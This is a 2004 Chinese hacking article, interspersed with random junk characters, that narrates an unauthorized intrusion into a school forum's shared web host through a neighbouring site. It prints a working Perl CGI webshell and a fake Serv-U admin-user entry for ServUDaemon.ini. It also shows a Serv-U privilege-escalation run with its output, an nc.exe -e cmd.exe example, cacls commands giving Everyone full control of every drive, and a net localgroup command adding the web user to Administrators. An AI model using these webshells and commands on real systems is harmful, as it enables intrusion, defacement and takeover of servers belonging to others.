剑走偏锋——灵巧的旁注攻击
0 c6 @9 Q9 y; Q9 v, k7 V$ E本文作者:angel# \3 l4 ~' y6 C/ J$ v9 s7 L6 G
文章性质:原创9 x( V7 e+ Q) w- Q
发布日期:2004-11-09
- G3 [2 x7 {1 j" b1 n% z1 @注意:* ]- l/ ?, T9 F; }+ y( b/ A6 H
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
1 h+ C0 h/ G* `, j本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。2 j" W2 z7 }% p& O/ i# b1 q5 m
! x' c1 s1 I5 g. k" G6 Y1 z$ Y 终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 ( q9 M- d; Q' D
1 y2 e0 B1 r$ f( l7 H. c
一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
5 l* z# D# X L, Q1 l
9 b. w( Z. R, A$ a6 W) ?; k' u1 | 不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 3 L( U% e6 O. M5 h1 j! y
K/ e' n Q; H/ ]: B- v 一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
: [ }3 U+ ~8 n4 _0 r \6 U$ x7 C' \1 s% f6 P- O: \
大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 , \/ _: ]) U9 P& a( x5 r3 [
' `8 Q5 H O) X( f Q: i5 z, k7 f. y
没有目的的跳转目录着……
: U. V- E2 m" H' E$ p% H( e3 u# A! n; c4 @4 h
我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… % [0 b7 q- L& M$ s1 ` w
: i0 y& q+ r/ K4 B7 c( q' m
结束了吗?不,我试着 FTP 一下:
6 P5 x8 ^+ h- R
$ F/ z9 w/ e- F: R0 CMicrosoft Windows 2000 [Version 5.00.2195]
) ]# y5 ~8 |; t% H+ `9 T/ S(C) 版权所有 1985-2000 Microsoft Corp. 6 _2 T0 k: T2 f. b" v0 E- A
& U6 d$ z, Y3 Y0 J* OC:\Documents and Settings\Administrator>ftp www.school.com* n- ?( M o5 g# I5 X7 S. k5 S0 S! T
Connected to www. school.com. 4 K3 C; u4 g7 e& |" I
220 Welcome to FTP Server...
$ X* f& G- s7 O" J) Q2 PUser (www.bjtrq.com:(none)):
* r, Z; Z2 V- |1 x# W6 n- M1 l331 User name okay, need password. ' n5 o4 o0 s" [2 r$ M- x8 P! F: p
Password:
: S0 r8 ]8 C3 r' { `4 i; U530 Not logged in.
; |9 [% X0 A# E( kLogin failed.
) k% B1 P' O; L4 p3 V+ [ftp> bye
) T; L, A; k. O7 X221 Goodbye! 3 J9 @# ]$ p! h
9 |/ s: e3 h& [ }" }
# P( L4 q* V3 i" U3 h: F
从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
* {% I" n7 r' M% h& t( A
2 S. ]: ?5 W, u& x. b2 ?9 f 原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
' j# ^: {( D: A# N, l2 G( V% L5 y7 t8 q
Application Data2 F: ~* ?* ~$ W3 H8 { g
Documents; w, [4 {; f' k `% d6 e @ S$ m
DRM
: l5 `6 k1 p% t4 dFavorites* e$ m3 S2 s0 n$ u
Templates
) a2 X8 _: B5 L- D! C「开始」菜单
+ r: y7 H' G0 [) k) j0 h桌面( F8 n) m, G# l" P' u3 H# L1 b
! f* ^0 K9 T9 Z2 r& |! I! r+ h6 O/ k, o* W2 ^
马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
$ R4 {6 u' j) p3 T9 K0 [0 k; ], C" I8 f" j+ ~+ _
ActiveState ActivePerl 5.8$ m) C, B1 T U: ?
Administrative Tools7 a6 Y1 U1 o' K! n* T* a
Deerfield.com% j% L- {! R+ j7 y* b. g
DTemp
! P$ \/ r; a/ mIPSentry" z' _0 ^% D& C7 `% q. h8 e6 w
MBM 5
+ ?3 F @% V& ~4 I( D9 n6 f( a$ ENetMeter- U; p9 s" K: p' ?; l
Network ICE, g4 g, y" A3 }9 m) I
Persits Software AspEmail
* L% \! V3 @ P( u7 ~Persits Software AspJpeg
# R* n! R( F4 f; F+ CServ-U FTP Server& A. t# P: d; F8 A2 s2 v3 E9 G3 o! L
Symantec Client Security
7 P6 A, r: E& T7 `/ f; \% yWindows 优化大师/ \* l( z; k* s4 [
WinRAR, |( z% d' E6 `# }5 l+ z. h6 T
启动
$ x8 }( v/ f3 i, E管理工具$ [! q1 Y a- y% K
附件
& R% K; ]% O6 L* O% I& `! E( s 2 K( d1 f2 I/ u! r! P
1 r$ b# K* N% W k+ j7 q
呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
3 K: ~8 V: c, w% _2 _' y! I9 y$ }/ P# S3 g4 K
先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
- ?4 y- {5 Q9 ^9 w# h+ h
4 I6 J, `7 h1 U' _+ g3 @7 J/ Y* ]User281=angel|1|0
7 W! T3 a5 e: i" S e9 G+ a) T6 Z3 D
, b( U6 T3 J, x, Z; }$ j# _9 a1 x
然后加上 ! U9 A: e$ D# x% w D
& m: N' v8 F9 u) Y. `
[USER=angel|1]
: L3 M3 F: `) W- }Password=ng98F85379EA68DBF97BAADCA99B69B805
2 r! z% H; p- W8 [HomeDir=D:\websites |+ T/ Q) i8 d$ i- o5 U+ H" Z
RelPaths=1
; O1 f \, A6 Y* z) u1 m; LTimeOut=600
) c; T5 f& T. OMaintenance=System% i o4 F% }- J8 t l9 W6 v
Access1=D:\websites|RWAMELCDP
8 x3 Q2 x, q- V4 Y$ pSKEYValues=
4 H& i* u% r' c 0 ~7 Y( x( }: P8 P
. T: D; S5 S% P, ? 添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… / L# I+ `# u; e
) H. X2 n# F# G9 \1 d 不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
/ W. i0 N- E8 V# K8 F, j5 ?; k: H, @
/ S4 L; I& w. ~* t ]; b. h; ?' @- a 不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
3 @! H6 h' c1 N( s) U: ~2 d% _$ Q6 q2 J( [0 s4 o
还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: / o! g# |5 G9 d( a! ], {
8 j( H: Y3 `7 v7 X, o
#!/usr/bin/perl S4 y# g- q) O; ~
binmode(STDOUT);! R$ X; H9 x% P. I( f
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);7 K) S4 {7 u. c
$_ = $ENV{QUERY_STRING};, e) \3 z5 i1 L; D1 K
s/%20/ /ig;7 B$ z0 a+ c8 B7 \
s/%2f/\//ig;
/ T% X I2 C( }* O# }$execthis = $_;
* H. ?- j* ]+ M& f/ T6 M S% Nsyswrite(STDOUT, "<HTML><PRE>\r\n", 13);" X. ?2 W- m( b
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";; r% ^- a5 |- y7 x
system($execthis);8 c) J4 Q9 X; x5 N: K/ ?* S
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
I9 Q/ I* o" f# y! }, j7 Lclose(STDERR);1 g; Z0 h+ r% {- \% `7 |2 w6 o, r
close(STDOUT);
" P+ O/ j! k' i2 @7 {exit;
9 S4 X/ Y+ w( y: w7 F
3 I& g) W8 y5 B% D3 W8 l: i- q
; k5 ?! M! J' O* Q1 _ 我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! ; o5 G) R" u @1 P( B8 e
1 c9 t* T) u7 p. I2 r9 U
显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: # R% ?7 ?, T2 o2 R
9 c. M4 }9 G! c% ?http://anyhost//cmd.pl?d:\user\bin\su.exe
" G( J1 L3 m' d7 S9 d5 r # T* d' k! \, [1 n/ O- o6 U- W
& K% @+ P* ?# N& D7 u* n5 F
返回: . O+ w+ f8 r7 q- r: h
- m. J+ \2 k. q
Serv-u >3.x Local Exploit by xiaolu
5 a4 l1 x" n( q/ p5 v2 Q. a; j/ O. A- L7 H7 H# X; A
USAGE: serv-u.exe "command" % k7 f6 F+ _% V# `& u
/ n; V% g' O& i8 J& v: R7 lExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
! i8 V0 ?) B9 }0 K9 t
/ d% s9 m" ^* ]# K. r0 |$ I
# u+ V9 O5 F! e j9 T) F c 嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: * _" @1 b! z1 j! z: Q, m
]5 _5 Z$ A1 {% P, Xhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
1 k9 Y" n% e. z" A. ?; ^8 y+ O% v ~# g# g. R
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" s& c3 B/ w5 @& P. }
9 {$ g& n7 m0 \1 r/ shttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" % V2 T$ j/ Z/ m3 S8 [" G
% F2 Q$ l% w- l) R/ }
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
3 \3 | ]+ [) h7 W
' o/ P6 ]0 ^' B+ k0 X" j4 [
: V1 ]0 o. G- a$ `" | 返回下面的信息,就表示成功了!!! 9 F. X& K' F8 ]" {) P. i
& e S1 u7 u( m+ U4 r- q
Serv-u >3.x Local Exploit by xiaolu ( s9 ?" y& d- G2 [ `
. A2 ]: c G& t0 }5 f# @<220 Serv-U FTP Server v5.2 for WinSock ready... ! U/ n2 l* n, Z/ b" U
/ Y+ M1 `4 u4 Z' }' Z>USER LocalAdministrator
& p' `3 X; F' H) f& {$ d
: R) h! g: S+ |; Y! g0 [. x<331 User name okay, need password.
3 F5 D- i, j9 M- N D# O# t1 L0 E+ b' |9 l: @; ^
****************************************************** 8 S/ ~1 v/ q: W9 G* \% g: j) X
0 ?: @) |4 f2 P
>PASS #l@$ak#.lk;0@P 2 r6 n5 S$ U7 c& e8 v; s2 p& z! y
3 `0 p! f" S c; o0 E3 I9 k<230 User logged in, proceed.
4 S( U, a. @: t
; ^$ P1 W1 u9 ?$ m3 ?2 ^6 z# P******************************************************
! w6 o* v6 h: e5 c! @* i" l1 ?. q, ]2 d" k7 n) I" D/ p& F
>SITE MAINTENANCE
0 Q# N7 Z0 ?5 x+ p' e7 i* e- z
6 b: r, D1 P% z- S1 G******************************************************
- W( g! L, R: o+ K m# r/ o! Y2 v7 J& \" c( h& H
[+] Creating New Domain...
* B0 I# e y3 X ]# G9 M! k3 T; s% B6 K, a* Z
<200-DomainID=2 5 P6 e7 h* d3 b) B
; }. c/ g4 E! ?6 s: U+ r2 f1 i
<220 Domain settings saved - L7 @/ T' Z# q. i2 p/ C) N) W8 a6 ?
h, E5 \- n7 _& H' @+ ^
****************************************************** 9 y7 t, ]2 c. x' d( t+ ^. J
3 c- S: A" p) B+ J' K
[+] Domain xl:2 Created
v) M1 p* U3 D
4 [% Y+ a' s0 k3 F4 |% D2 @4 P& E[+] Creating Evil User 4 L" ?3 x' r4 e) Z3 M
" g3 ^1 E6 ^7 d4 K- F$ N
<200-User=xl
: E8 K! {' ]' O3 E* g7 y% `! o
200 User settings saved
! U2 c( b7 J+ ~5 v) Q
+ c' i) I# L/ K/ C! B6 o, T! f3 Q****************************************************** ! r8 L% l- ]& [8 B E
0 a) o `) m- Y5 j+ m) L) e
[+] Now Exploiting...
$ x. c( k! C; k* G
& B( U( m2 ^; ^* b>USER xl 6 Q0 a. E' @- Y; G
. h$ P3 y! F1 U
<331 User name okay, need password.
F2 B! m: ?5 v: j+ ]8 R. ^8 c/ U6 a9 }" I
****************************************************** 4 r, S& i! a5 k( J: }
+ u7 ?- C# F' |2 `- h6 A) v: u' p' O
>PASS 111111
) S7 E6 P+ r) v3 }6 m% M7 G- s: Y* H
" d7 |. _6 W% \+ o. ^) t<230 User logged in, proceed. 9 L1 o% ]9 O+ z7 v- a# `
6 Z! S7 Q; Q, V/ ~& {
****************************************************** ; s1 n. X7 C9 b8 n- U7 C
) v6 V! x; j# W! A& X7 M; V[+] Now Executing: cacls.exe c: /E /T /G everyone:F : P- i+ \6 Y& D" U) ^
. k; O5 m' K# D( B+ v( u
<220 Domain deleted 1 K) j& h7 h$ `- p, a
( }: a8 L: Y Y
******************************************************
* q! S- q' X* @
2 g A/ [- M: I1 w. `( ^5 P5 g: O" d" [
每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
! ~, n* B* D! ]8 \9 K5 O0 g5 t9 Z' M% w8 O! D- H1 S
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
) {. o9 M+ ?; V. H 8 \3 h3 ~% v8 c1 K
& L/ A3 }! k V' _! v 现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
7 b% {( z/ T; H* [# H7 j9 v: Q, Q9 J R* L. r6 N
说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
H! G9 Q/ O6 t) E0 p7 Q
" P4 K9 e" r6 a5 C! B5 \. T* \4 a6 d0 z # U) G2 h6 d# D/ A# t4 {( J
|